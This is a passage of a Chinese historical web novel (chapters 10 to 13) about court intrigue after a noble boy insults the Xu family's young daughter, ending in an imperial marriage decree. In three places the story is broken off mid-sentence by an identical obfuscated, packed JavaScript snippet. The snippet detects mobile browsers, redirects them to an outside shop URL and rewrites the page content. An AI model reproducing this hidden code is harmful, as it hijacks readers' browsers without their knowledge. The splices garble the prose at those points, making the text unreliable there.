撒娇的话刚出口,却是见相依偎着的男人倏然沉了脸,目光沉沉的盯着她。 仿佛有一瞬的凝滞,屋里冷得瘆人。 她身上几乎不着一物,慌乱的跪了下去。 “掌嘴。”陵王垂眸看着伏跪在脚边的人道。 “王爷饶妾一回……”女子仰着脸,泫然欲泣的攀着他的膝求饶道。 陵王看着她,片刻,抬手一巴掌甩在了她脸上,他的动作不疾不徐,没有帐中时的狎昵亲热,这是惩罚。 两侧脸颊肿起,遍布指痕,他方才停手,将人从膝上一把推开,起身拿了衣袍穿上,开门出去了。 灰白的云烟寥寥,屋中一片寂静。 “吩咐下去,玉夫人禁足一月,房中除了一日饭菜和低等炭火,不必再供旁的。” 侍卫敛眉应声:“是。” 赵徵更衣罢,又去了一趟陵王处,将宴中事禀了,还有马车上苏余兴的话。 “好一句亲兄弟,”陵王眼底深了些,“此事父王自有吩咐,你不必再管。” 赵徵起身行礼罢,便出了书房。 他走后,陵王去了王妃院子。 陵王妃早在陵王知晓前,便听赵徵差来的小厮,将这话禀了,听丫鬟通报,倒也未觉稀奇。 房中点着静香,处处雅致宁静。 陵王妃坐在榻上看书,起身去迎了两步。 “王爷。” 陵王原是气着的,皇族世子,竟也是臣子敢攀附称兄弟的? 可瞧见人,也或是这房中太静,他胸口充斥着的怒意渐渐散了。 陵王伸手扶起王妃,在旁侧的软榻落座,扫了眼她看了过半的书卷,道:“方才世子过来,与我说了一事。” 今日闲在府中不见客,陵王妃穿着件烟罗织的薄袄子,领口缀着一圈雪白的狐狸毛,衬得气色极好,面容温和。 陵王与王妃成亲时,年十八。 如今他已淡了玉树临风之姿,腰口宽了两圈有余,上马都需人搀扶。 反观王妃,依然与跟他成亲之年时一般,华贵馥雅,娴静安然。 陵王妃自是觉察他的打量,唇齿轻启道:“此事是苏家之过,王爷不必顾忌我。” 她这般柔顺,倒是陵王怔了片刻。 半晌,陵王叹道:“此事事关徐家,总要谨慎些,但若要你兄长登门道歉,似也兴师动众了些,反倒不好,此事既是因你兄长身边那妾室惹出的,便让她与庶子去吧,求得人家宽宥,如何处置,按着徐家的意思就是。” 陵王妃自榻上起身,福身道:“妾多谢王爷。” 陵王朝她伸手,“你我夫妻一体,又成亲多年,说什么谢不谢的,倒是生分。” 陵王妃莞尔,握着他的手起了身,心里轻轻松了口气。 是夜,陵王歇在了王妃处。 翌日,陵王妃便让人套马车,回了镇国公府。 “王妃娘娘回来了!” 不消多时,府上各院儿的人都过来了,一通问安后,陵王妃目光在满屋的人身上扫过,侧首问:“杨氏呢?” 嬷嬷福身道:“已经去请了。” “她的派头倒是比主子都大。”陵王妃嗤道。 堂中众人神色不明,却是在这话时,动作一致的瞧向了镇国公夫人明氏。 陵王妃懒得理会那些个眉眼官司,余光瞥了眼那瘦弱嫂嫂便收回。 不多时,几个仆妇将一丰腴美艳的妇人扔到了堂上,身后还跟着个嘶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134436|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声哭嚎的小郎。 “王妃,人请来了。”仆妇禀完,便退了出去。 陵王妃稍抬眼,看着被绑缚着双手跪在地上的人。 苏余兴回来的很快,身上的官服还未换,便疾步进来。 彼时,他的心肝儿小美人儿双颊肿得几欲瞧不出,儿子也趴在长凳上被行了家法,哭得几欲断气。 “你这是做甚!”苏余兴朝堂上高坐的妹妹怒道。 陵王妃也看着他,失望,恨铁不成钢,冷声道:“这没规矩的奴婢带着小孽畜,险些酿成大祸,你问我做甚?” “她是我的妾室!这是我儿子,你的亲侄子!”苏余兴脸红脖子粗的吼道。 陵王妃:“妾室亦是奴婢!” 堂中有一瞬的静。 坐着的苏家七房皆垂首敛眉。 陵王妃起身,朝他走了过来,“徐家之事,你已知晓,我也不想多费口舌,今日,让这两个东西滚去徐家赔罪,你还是你的国公爷,倘若你要护着他们,今日七房都在,我便与你好好清算清算。” 苏余兴瞳孔一怔,脚下忽软,倒退了一步,“我才是你亲哥……” “若非如此,你今日便不是站在这儿与我说话了。”陵王妃道,“皇家血脉,也是你可称兄道弟的?你损的是皇家威严,断的苏家全族!” 咚的一声。 众人皆心口一颤。 苏余兴唇动了动,却是没发出声来。 他昨日吃酒,说了那话,酒醒后也曾后背凉了一瞬,生过后怕,但赵徵不过六岁娃娃,但转念一想,谁会将他的话当真去?便也罢了。 “王、王爷也知道了……?”苏余兴喃喃问。 陵王妃扫他一眼,已懒怠再说什么。 她知道阿徵昨日将这话与王爷说,便是存了要她敲打敲打这满门兄弟的心思。 祸从口出的道理,兄长活了这三十年,竟是不如一个六岁的孩子。 陵王妃递给身边嬷嬷一个眼神,嬷嬷点头,唤了仆妇进来将地上死猪似的二人拖拽出去。 “爹爹,爹爹救我……好疼……”苏遮哭喊道。 “等等!”苏余兴道。 他看向妹妹,余光瞥见一道矮小的身影,立马道:“小八打成这样子,便是去了徐家也无济于事,让阿楹去吧,徐家也是个女娃,两个小姑娘也好说话!” 陵王妃瞥着他冷笑了声,倒是难为他想出这托词来。 苏余兴咽了咽干涩的喉咙,又瞥了眼地上跪着的人,道:“还有,杨氏是我妾室……就是奴婢,也是我的人,我是镇国公,那徐家老大也就是个六品闲职,让她去赔罪,便是我去赔罪,妹妹……打也打了,罚也罚了,就、就让阿楹去吧,她是嫡出姑娘,身份够用了……” “你让国公府嫡出小姐,给一个庶出的东西收拾烂摊子?”陵王妃似觉好笑道,神色间满是荒唐。 苏余兴:“都是一家人……” “姑姑,”一道稚声忽的响起,“我愿意去。” 登时,满堂的视线皆落在了那个不及桌案高的姑娘身上。 小姑娘眉眼粼粼,“但我要父亲发誓,此生断不会将动我娘的正妻之位,若有生死,不续弦,不抬房,如有违背,断子绝孙。” 苏余兴顿时犹如五雷轰顶! 抬起指着她的手都遏制不住的气得发抖。 “你!你!孽障!!!” 11. 第 11 章 泱泱正在后院骑着矮脚马遛食呢,就见丫鬟急匆匆的过来禀道: “大小姐!二夫人请您过去!” “要紧事?”泱泱睁着圆眼睛问。 她方才从婶娘院子里回来呢。 丫鬟点头道:“是镇国公府家的夫人和小姐过来了!” 泱泱不认识。 想来是妹妹太小,婶娘喊她去陪那小姐玩儿的。 泱泱摸摸马脑袋,小矮马便卧下了,她翻身下来,牵着它去马厩吃草,这才与绿稚姐姐去。 此时晌午未过,此刻登门,委实冒昧,明氏颇为坐立难安。 煎熬小半刻,一道青绿色小身影行来,脚步轻快的步入堂中。 “国公夫人安。” “婶娘~” 泱泱两次福身问安,正欲与那贵小姐问安,便见那端坐着的姑娘忽而起身,朝她福身。 “徐大小姐。”苏扶楹道。 “国公小姐。”泱泱回了一句。 “泱泱来。”宋喜朝她伸手道。 泱泱看着她不虞的面色,眉眼疑惑,乖乖走了过去。 那日席间之事,宋喜确实不知,今儿晌午哄着阿敏睡着,正想小憩片刻,便听丫鬟禀道,镇国公夫人与小姐来了。 宋喜只得匆匆装扮,赶来见客。 直至方才,才听着母女二人将那事说罢。 “昨儿苏家小郎欺负你了?”宋喜也没避人,牵着泱泱的手闻声问。 泱泱想了想:“苏遮?” “是我庶弟。”苏扶楹说。 泱泱看她一眼,又看婶娘,实话实说道:“他说我是野丫头,世子让他与我道歉了。” 她想了想,又道:“我不在意他说的。可世子好像不满意,说是要请我吃酒,我说想尝尝烧朱院的。” 方才见徐家显然不知内情,明氏忐忑不安,此时听得这稚语童言,悄悄松了口气,目光不觉瞧向了徐二夫人。 “婶娘知道了,去玩儿吧。”宋喜道,说罢,示意绿稚带她先去。 绿稚屈膝行礼,牵着自家小姐出去了。 瞧着人出了堂院,宋喜方才收回目光,看向明氏。 “夫人方才也听到了,我家泱泱心思澄净,胸怀宽广,未将那中伤之言放在心上,我自也不好与夫人苛责什么。” 宋喜说着,稍顿又道:“可我只是泱泱的婶母,泱泱之事,做不得主,此事定是要与兄长、公爹禀告,夫人见谅。” 明氏唇嗫喏几下,没说出话来,竟是看向了自己闺女。 苏扶楹眼睫动了动,起身福礼道:“让宋婶婶为难了,此事是我庶弟之过,家里也不推脱,我与母亲是诚意来贵府致歉,婶婶禀告尊长自是该的,家中已将庶弟与小娘行了家法,还请婶婶转言相告,若是徐家祖父与叔叔动怒,我自带着庶弟来受罚。” 宋喜瞧着眼前的小姑娘,神思复杂,心底叹了声气,偌大的国公府,竟是使唤一个小姐来登门道歉,为娘的泥菩萨软性子,连带着姑娘也一同被欺负。 将人送走,宋喜唤来了昨日宴中伺候的丫鬟。 丫鬟听得她所问之事,险些哭了,“大小姐说,不过是拌嘴两句罢了,不必与老爷、大爷二爷和夫人讲。” 泱泱当真是这般说的。 她也有些心虚虚,说起来,是她先笑话苏遮不会用筷著,才将他惹恼了…… 傍晚天色渐暗时,下值回来的爷仨刚进门便被请去了正堂。 宋喜将晌午的事说了。 徐鉴实脸色倏地沉了。 外间上了灯,辉辉煌煌的映照一片。 徐九涣忽的起身,抬脚便往外走。 “站住!”徐鉴实出声喝道。 徐九涣止住步子扭身,面色疑惑的瞧着老爹,“做甚?怕我去苏家算账?”他轻嘲道。 徐鉴实没说话,沉吟半晌,道:“我原是想着,等开族那日,便替泱泱做一场宴,届时宴请亲朋好友,正了泱泱的身份,如今瞧,怕是得赶早些了。” 腊月二十三小年,徐家一贯那日开族,也好给新生的儿孙添族谱。 “那我……”宋喜刚欲言,忽的被徐九涣打断。 “不必改期。” 宋喜眨了眨眼睛,一头雾水。 几双眼睛顿时皆瞧向了徐九涣。 檐下灯火阑珊,他半侧脸上明明灭灭,神色有些瞧不真切。 “一点谣言便草木皆兵,太傅大人,稳重些。”含笑的声音响起。 几人:…… 那浪荡子早已抬脚出了正堂,只留一句—— “我带泱泱去尝尝那烧朱院的炙肉,你们自用晚膳,不必等我!” 说罢,又嘀嘀咕咕:“不过是秃头和尚烤的肉罢了,也值得她垂涎……” . 原以为事不过如此,谁知竟是闹到了朝堂。 徐九涣听闻时,是被传召去了明轩殿。 他家老头儿也在,只进来时瞥了他一眼,便没再看。 徐九涣朝成禧帝行礼罢,被叫起时,目光不着痕迹的扫过负手而立的几人。 一众红袍中,唯他穿着青袍绿衣。 “小徐大人来了,有何事,诸位爱卿问他就是。”成禧帝懒懒摆手道,一副不想掺和的架势。 可他如此,几位大人却是唾沫横飞,争执激烈。 徐九涣听他们吵吵了两句,顿时心如明镜。 那宴席时的三两句口角之争,不知缘故的传扬了开来,今早早朝时,镇国公苏余兴被谏官参了一本。 这世道重礼法,也重德行,德行有亏者,无以朝堂立锥。 苏余兴一张嘴驳谏官几人,便是着官袍戴官帽,也瞧着脸红脖子粗,面目狰狞。 徐九涣瞧热闹一般,眼珠子在几人之间骨碌碌的转,瞧得饶有兴致。 徐鉴实悄悄瞪他,示意他收敛些。 徐九涣神色理直气壮。 比起这几人,他体面多啦! 徐鉴实皱着眉瞪他一眼,移开目光。 这哪里是苏家与谏官在辩? 徐鉴实心里叹了口气,不着痕迹的余光瞥了眼高坐之人,漠然垂眼。 “……心中是佛,眼中万物皆是佛,徐太傅宽宏大量,徐家小姐心怀若谷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134437|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,懒怠计较,可你苏余兴德行有亏,宠妾灭妻,教子无方,人当日有三省……” 第三回听这话,徐九涣借着宽袖掩唇,幽幽的打了个哈欠。 怎就嚼不烂呢。 …… 将入凛冬。 今日徐家家宴摆在了涧西阁,抬眼便能瞧见屋外寒梅腊雪。 徐九涣和泱泱来得早,围着炉火烤橘子吃。 徐九涣将今日瞧的这出戏与闺女讲,又道:“僧面蛇心,那几个谏官瞧着是替你、替咱们家打抱不平,实则呢,人以筏子渡江,咱们家今日便是被他们当作了筏子使。” 泱泱剥着小橘子吃,腮帮子鼓鼓的,疑惑脸问:“可他们为何要将我们当筏子?” “这便说来话长了。”徐九涣惫懒的靠着小椅子道。 “说说嘛~”泱泱说着起身,很是上道乖巧的替他倒来碗凉茶,“多多喝~长长说~” 身上被炭火烤得暖烘烘的,一碗凉茶下肚,整个人精神抖擞的紧,徐九涣以指蘸着碗底的一点茶水,在矮案上涂了把小椅子,道:“他们在争这个。” 泱泱吐掉橘子核,“再打一把不就好啦?” “总有东西,世间仅此一件。”徐九涣意味深长道。 泱泱听得不大懂,但她会举一反三呀! “就像阿娘!” 徐九涣一怔,旋即失笑颔首,“是。” “今日瞧着是苏家与谏官在争,可你往远些瞧,那日小世子是跟着谁来的?” 泱泱:“苏遮他爹爹!” “瞧见了?”徐九涣道,“这便是他们二人的牵绊,是苏家,也不是……” “是世子!” 徐九涣屈指敲敲她脑袋,“是陵王府。” “哦……” “再说那几个谏官,他们当真是在斥责苏余兴宠妾灭妻?” 泱泱摇头,握着颗小橘子,老神在在道:“他们身后也有人。” “聪明!”徐九涣夸赞道,“那几个谏官,瞧着是在骂苏余兴德行有亏,实则是惦记他手中兵权,若是能将他从侍卫军马都指挥使的位置上拉下来,那是再好不过,便是不能,也可让咱们家与苏家、乃至陵王府生出嫌隙。” “为何要生嫌隙?”泱泱眉眼澄净问。 徐九涣默了片刻,低声道:“他们以为,他们想要争的那把椅子,你祖父能相帮。” 泱泱眨了眨眼,嘴巴长得圆圆的,脑袋不觉凑近,也学着他小小声问:“祖父能不?” “呵,”徐九涣嗤笑了声,伸出根手指抵着她凑过来的脑门儿,吊儿郎当道:“天下君臣之分,你祖父能当得明白纯臣便够了,哪里有力图谋旁的什么。” 泱泱似懂非懂的‘哦’了声,往嘴巴里塞瓣橘子给自己压压惊。 门外站了片刻的徐鉴实,望着轻飘飘的落雪,好半晌,轻轻呼出口气。 朝堂之事波云诡谲,稍有不慎,便万劫不复。 成禧帝已迟暮之年,底下几位王爷争斗也有几十载,如今日般困局,几欲数不清。 可这是头一次,他踩在泥里,而那里站着他的孙女。 12. 第 12 章 风雪呼啸,陵王府四下上了灯。 陵王妃靠在美人靠上,丫鬟小心翼翼的替她揉着额角。 半晌,外间丫鬟进来轻声禀道:“娘娘,给王爷炖的汤好了。” 榻上的人睁开眸子,目光清明,轻抬手,示意丫鬟将她扶起,另一委身替她穿鞋。 “去端来吧,我自送去。” 她的心腹丫鬟心疼道:“娘娘今日操劳,使唤奴婢替您送吧?” 陵王妃轻轻摇首,“此事出自苏家,只怕是王爷心里将我也怨上了。” 书房内灯火通明,侍卫守在门前,半肩皆是落雪,瞧见拎着食盒撑伞遥遥走近的美人,拱手见礼道:“王妃娘娘,主子正议事,吩咐不可打扰。” “哪几位大人在?”陵王妃问。 侍卫腰半伏着,却是没出声。 陵王妃眼底稍黯,道:“我炖了汤羹,在此处等等就是。” “风急雪大,娘娘还是先回去吧。”侍卫犹豫一瞬,劝了一句。 陵王妃眉梢轻动,目光朝烛火跃动的窗纸扫了眼,似是斟酌了片刻,递出手中拎着的食盒,“王爷既是忙公务,我也不好打搅,只这汤羹破费时辰,还望你替我送进去,嘱咐王爷仔细身子才是。” 侍卫躬身双手接过,目送她出了院子,方才将汤羹送了进去。 屋中坐着的几人,穿着不打眼的常服,围坐一处议事,也未因他进来而停止。 “这是王妃送来的?”陵王尝了口,问道。 侍卫:“是。” “今日瞧着,官家似没有要将镇国公撤职的打算。” “今日没有,你能保证明日也没?” “就是,谏官最是烦他娘的,今日未有结果,明日少不得还要参奏!官家成日被这些苍蝇似的在耳边叫,保不齐哪日就动了心思!” “那吃里扒外的东西,王妃料理干净了?”陵王又问。 侍卫:“卑职未敢问,想来是已料理妥当。” 那日之事,所知之人寥寥,可消息却是不胫而走,隔日便被参奏到了朝上。 陵王想也知是,府中定藏着雍王的狗东西! 只是没成想,那人竟是他近日盛宠的玉夫人! 陵王恨得咬牙切齿,却是没去瞧,只让王妃代他料理了就是。 有人不做声色的扫了眼高坐的陵王,心烦道:就说是莫要招惹女人撒~ 不然哪里有今日这烦心事? “不然让徐家去面圣?” “徐家如今可是苦主,且先不说徐九涣那厮难缠,你让苦主去与官家给苏余兴求情,怕不是明日谏官参他的奏疏上便要多一条,更甚者,官家若是疑心他受胁迫,届时又是谁担得起的?” “这也不成,那也不行的,再不济,给徐家些甜头不就成了?” “什么甜头?” 方才说话之人挤弄眉眼,道:“给徐家个好郎婿啊,那谏官不是借着两小儿口舌之争参奏?那便将这由头撤了,他们不就没得参了?两小无猜的青梅竹马,便是拌两句嘴,旁人又如何管得?” “这也不失为是个法子……” “你们昏了头了吧!这二年徐九涣那厮不在京中,你们便忘了早几年曹家的门是如何破的?我可是听我家夫人说了,吃宴那日,听说那女娃娃手上戴着个极为贵重的手镯……” “什么手镯?金的还是玉的?”有人不屑的将他的话打断。 “……金玉便也罢了,是那上头缀着的宝石难寻!徐九涣那混账胚子既是能将这贵重之物给闺女耍,又岂能将她嫁给个庶子,你们仔细惹恼他,被打上门去!” “瞅你吓得这副模样,庶子又如何?再说,那小郎是嫡是庶还不是他苏余兴说了算的?那可是一等公爵的国公府,与咱们王府乃是姻亲!你放眼汴京,还有谁家能越得过去,连国公府都瞧不上,怎的,他徐鉴实是想当皇亲国戚不成?” 陵王用帕子拭了拭唇上沾到的汤羹,闻言稍顿。 皇亲国戚…… “得了吧,你趁着徐家还好说话,且歇歇心思。”方才说话之人苦着脸摆手道。 徐家若是在意门第高低,次子徐士钦又怎会娶了破落户伯府家的外孙女,那亲爹更是个让人记不得的地方小吏罢了。 “倘若,与那女郎定亲的是世子呢?”陵王幽幽出声。 霎时,满屋寂静。 几人面面相觑。 . “……祖父那时读的族学,归家时十有八九天黑,你曾祖母炭火盆里烤着番薯,剥了皮,满室的甜香。” “我阿娘不烤番薯啦,”泱泱晃着小脚丫,吃着祖父喂到嘴边的香甜番薯,美滋滋道:“阿娘教我骑马,我也喜欢阿娘的大刀!” 徐鉴实满是皱褶的眼皮颤了颤,片刻,长吸口气问:“你阿娘……何时去的?” 泱泱眨着天真的眼睛问:“去哪儿呀?” 徐鉴实用帕子替她擦擦嘴巴上蹭到的番薯,又说:“去世。” “我们回家前呀,”泱泱双手托着小脸儿,炭火映照,那双洁净的眼睛里多了些沉,“阿娘说,她要去报仇,让我跟着爹爹回家。” 她说着,喃喃道:“那夜睡后,我便再没见过阿娘了。” 炭火噼里啪啦的烧着,徐鉴实看着怀里坐着的孙女,眼眸湿润,一把美髯颤了颤,终是没说出话来。 “爹爹说,他拦不住阿娘,阿娘却是用泱泱,将他送了回来。” 半晌,泱泱仰着脸,目光纯粹道。 她不知这话之意,却是记得爹爹与她说这话时,泪流满眼,眼底猩红的模样。 想来是顶顶要紧的,要紧到连祖父都恍神了片刻。 赐婚圣旨是成禧帝派人送来的。 今日云层很厚,灰蒙蒙的好似还要落雪,徐家正堂一片愁云惨淡。 华敏坐在厚厚的小包袱里,肉手手抱着个橘子,大眼睛瞧瞧那个,又看看这个。 “当啷……” 忽的,一声拨浪鼓打破了满屋的沉静。 华敏咧着牙花咯咯笑,伸着小胖手来够姐姐手里的拨浪鼓。 泱泱又摇两下,逗得小妹妹笑眯眯,才将拨浪鼓递给她,跑去倚着爹爹的腿问:“爹爹在难过什么?” 徐九涣垂落的目光颇为复杂。 昨夜散学时,他被老头儿留了堂,听到老头儿想将他闺女送去晋陵老家时,嗤他胆小,一遇事便想着躲,想缩着脑袋回老家,几年前的他如此,如今的泱泱亦如是。 这不,今日便后悔了,悔没听老爹的话! 泱泱晃了晃脑袋,又问:“爹爹不是说,皇亲国戚的最是尊贵啦,”说着,小手拍拍胸脯,很是仗义道:“泱泱的也是爹爹的,那天使唤我陵王世子妃,爹爹也是!” 话音未落,一道目光便凌空瞪了过来。 徐九涣张唇哑言,“……这、咳咳……这不行的……” “为何?”泱泱眨着天真的眼睛问。 徐九涣噎了句,顶着老头儿的怒瞪低声道,语气颇为委屈道:“爹不想当皇亲国戚。” 泱泱善解人意的很,小眼神立马飘到了二叔脸上。 徐士钦讪讪,低声道:“……二叔也不想与皇家当亲家。” 多难伺候啊。 泱泱小大人似的长叹声气,再瞧着桌案上的明黄绢布圣旨道:“那我去还给世子,让他去娶旁人好啦!” 几人:! 赐婚圣旨已下,哪有做臣子的推拒的道理? 倘若成禧帝当真将此事有回旋之地,定会先将徐鉴实召去说,可自家老头儿都未知情,可见成禧帝是乐见其成的。 圣心不可揣测,恩既是恩,怒也是恩。 而在旁人看来,这桩赐婚圣旨,乃是成禧帝对徐鉴实的盛宠。 可不? 长孙女刚受过委屈,便替其赐下了婚旨,日后谁在嚼舌头说句野丫头,那可不止是徐家,是冒犯皇室,犯了律法。 短短两日,与徐家相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134438|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟不想熟的皆递了帖子来,意欲交好。 宋喜一家都没招待,皆照着公爹的吩咐,以他身子不好为由,回绝了那些个帖子,闭门谢客。 徐鉴实告了病假,几日待在府中闭门不出。 徐九涣与徐士钦兄弟俩倒是日日去官署点卯,面上瞧不出什么来。 礼部这两日的门槛都要被踏破了,若非瞧着那懒散歇在椅子里吃糖栗子的是个俏郎君,怕是只得以为他这儿有貌若天仙的美人儿,周茌瞧着被众星捧月的徐九涣,恨得牙都要咬碎了。 还以为先前那事,少不得要让徐家与陵王生嫌隙呢,谁知头一扭,两家亲亲热热的当亲家了! “都将东西带回去,我若回家挨了老爹的揍,明日便抄着木棍来揍你们!”徐九涣声音懒散道,下巴朝桌案上堆满的物什轻抬了下。 这桀骜模样,瞧在众人眼中,只剩了目下无尘四字。 徐九涣说罢,也没监管他们,起身拎起食盒,踩着傍晚下值的宫铃出了礼部去。 近万寿节,一路宫灯明晃晃,就连街上都摆了鳌山,映照得半边天都是红彤彤,夜色将明。 马车一路在徐府门前停驻,月牙高悬挂在树梢,静悄悄的。 一人上前叩门,动静轻的好似听不着脚步声。 片刻后,厚重的门扉吱呀一声自内打开,门仆瞧见面前的玉牌,神色一顿便要跪,却是被人拦了下。 “还不快去禀徐太傅?” “是是是!” 一叠的脚步声跑远—— 马车里,一道黑色的身影被请入了府去。 房中皆是药草的苦涩,就连衣袍之上都沾染了些许。 徐鉴实掀开寝被,一身白色里衣,不及穿袍戴冠,只见门前人影晃了晃,他伏地叩首。 “臣参见陛下。” “爱卿何必多礼,快快请起。”进来之人,确是成禧帝。 话音未落,他身侧的太监便上前,去将徐鉴实搀扶站起,笑盈盈道:“太傅还是好生歇着吧,咱们陛下牵挂您,这才深夜前来想瞧瞧您呢。” 徐鉴实闻言,挣扎着又要跪谢圣恩,一连的咳声不止,“臣、臣咳咳咳咳……” “快快回床榻歇着吧。”成禧帝摆摆手道。 伺候的人搬来宽大的椅子,被指使着摆在了床榻前。 成禧帝落座,看着帐子里鬓发生白的臣子,半晌,道:“你向来思敏,也定是猜到了,我想将皇位传于阿徵。” 徐鉴实面上并无诧异。 “我也没多久可活了,太医说,好生养着,还有四五年,若殚精竭虑,便要折半。” 烛火昏昏黄黄,照亮了两张半岁枯荣的脸。 “……子孙之中,阿徵最为勤勉,天资出众,若是他年长些,我也能放心些将这江山交给他,可阿徵如今才六岁,这江山……他坐不稳啊,孟成,你请辞的奏疏我看了,我不会准,也不能准,你得替我看着,看着阿徵继位。” 成禧帝对几个儿子都不满意,老大雍王心狠,也自傲轻狂。老二天资平平,在封地安居乐业就是。老三老四早早夭折,未见成人。老五陵王比起老二强上些,但最多守成罢了。老七豫王,幼时便逃学,指望不上。 徐鉴实唇动了动,没说出话来。 他比成禧帝小了近二十年,他连中三元入仕之时,成禧帝早已高坐皇权。 徐鉴实年轻时,一如诸多学子,满心抱负,他在翰林院呆了不过一个年头,便被成禧帝调任去了户部,从讲经筵学的常侍,变成了户部左曹郎中,上司乃是户部侍郎——实掌阁中之事的阁老。 如今先者乞骸骨,早已故去,阁中之事也皆在徐鉴实手中,且任太傅。他仕途顺遂,成禧帝于他,也可谓是知遇之恩。 那日赐婚圣旨,徐鉴实便明了其中之意,是以,递了辞官的折子上去。 官场浮沉,历时太久,他早已没了初时的抱负,如今官场于他无甚牵挂难舍,他想护着泱泱,想躲过这一场。 13. 第 13 章 十二月初五,万寿节。 承天门外,忙活了月余的礼部诸位官员疲倦的踩着余晖出了宫门,侧首便见旁边的宫门前车马如流,各府夫人小姐衣香鬓影,被下人扶着下了马车,而后递了牌子入宫赴宴去。 “唉……”有人低叹,扯着唇角摇首,与结伴而行的几人互瞧几个眼神,心照不宣的心里泛苦。 到底是位卑人轻罢了。 马车进入甬长的宫道,宋喜颇为紧张的整了整发髻上的冠子,又替泱泱擦擦小嘴,笑道:“别吃了,等会儿宫宴有好吃的。” “比蜜浮酥还好吃吗?”泱泱舔去唇上的糕饼渣渣,好奇问。 宋喜:“……婶娘也没吃过。” 她幼时跟着爹娘在外,自是没资格入宫宴。阿娘去后,她许多年被外祖母抚养膝下,可那时伯府也已没落,许多宫宴,也不好带着她。 “那婶娘一会儿多吃些~”泱泱晃着小脚说,“我也多尝尝啦~” 马车停稳,外面传来丫鬟的声音。 “二夫人,大小姐,咱们到了。” 泱泱小手抓起帘子,一眼便瞧见了外面爹爹正穿着青绿袍子一脚跨出宫门来。 “爹爹!” “泱泱,不可喧哗!”宋喜连忙低声道。 宫门前许多人,因着这一声,皆回首来瞧。 只见徐九涣那厮阔步行来,抱起了马车上笑得灿盈盈的小姑娘,顿时心里了然,这大抵就是那位陵王世子妃了。 “哦。”泱泱捂着小嘴巴,低低的一声,做贼似的眼珠子滴溜溜的转。 宋喜也被丫鬟扶着下了马车。 “宫中道路纷杂,我来接你们进去。”徐九涣道。 以他阶品,今日本是无缘万寿节的,可谁让他闺女是陵王世子妃呢,小闺女要来,这宴席之上自是多了他一张案桌。 只那一袭猎猎青袍,于交错映红中很是扎眼就是了。 “这便是陵王小世子妃?”有人凑上来,明知故问似的说了句。 泱泱被爹爹抱着,手里捏着颗青皮绿橘,闻言,尚未长开的桃花眼瞧着他,目光干净,“我是徐华缨。” 那说话的大人神色一怔,衣袖被旁侧的人扯了扯,神色顿时讪讪。 按理来说,未出嫁的姑娘,便是定了亲,也是依着娘家的。 这人上来便说这么一句,好奇是有,多是酸得泛呕。 徐九涣懒怠搭理,倒是没想到,他闺女竟是听懂了。 他好笑的屈指在她小脑袋上轻敲了下,扯唇笑道:“你祖父的课业没白上啊。” 泱泱睁着圆眼睛,小脸儿神色谴责道:“这话听着像是在骂我。” “怎会?”徐九涣眉梢一挑,笑道:“夸你呢。” 泱泱小嘴一撇,嫌弃道:“不像好话。” 冬日天黑的很快,不过一段宫路,月光已然洒在了蜿蜒的鹅卵石小径。 今日宫宴摆在了群英阁,灯火辉煌,还未走近,便听到了孩童笑闹声。 忽的想起什么,泱泱趴在爹爹肩侧的小脑袋倏地抬起,问:“今日世子也来吗?” “大抵来吧。”徐九涣道。 到底是成禧帝过生辰,那些个儿孙哪个敢不来恭贺? 泱泱‘哦’了声,脑袋又趴了回去。 宋喜一路话很少,带着丫鬟跟在徐九涣身后两步远。 许是照顾她,徐九涣一路走得并不快,悠悠哉哉的,像是抱着闺女在逛园子,瞧见漂亮的花木,还要停下赏上片刻。 宋喜月份不重,一路走得还算轻松。 “你们来的早,躲不开的麻烦。” 快走到群英阁时,徐九涣忽的说了句。 宋喜知道的,这种宫宴,少不得应酬。 先前徐家可闭门不受扰,今日却是不成了。 “左右也是躲不过的。”宋喜轻声道。 徐九涣回头看了她一眼,“烦了便将人打发走,不必强撑。” 宋喜:“多谢大哥。” 诰命夫人们入宫,本该是要先拜见皇后。 如今这宫中未有皇后,许多女眷便自发的去了掌凤印的贵妃宫中。 暖阁中此时,坐着的多是与宋喜一般的五品低阶夫人,瞧见她进来,互相颔首见了礼便罢了,没谁敢上来攀谈,宋喜倒也清闲了片刻。 徐九涣领着闺女在旁边的园子参观,左右是来了,这宫中名贵花木多瞧两眼也好,省得她惦记那棵歪脖子的老桂花树。 “这棵树上从前有鸟窝,那蛋可嫩了,忒好吃……” “这花年年长,臭……” “那时我年幼腿短,每日走这宫道都走得要累断腿……” 徐九涣正与闺女说着自己幼时伴读事,忽的见那边小径行来七八人,稚声童语,叽叽喳喳的聒噪。 父女俩的目光皆落了去,与那行在前面的人对上了视线。 赵徵忽的脚步微顿,继而行来,福身见礼:“徐大人,徐大小姐。” 礼罢,便转身走了。 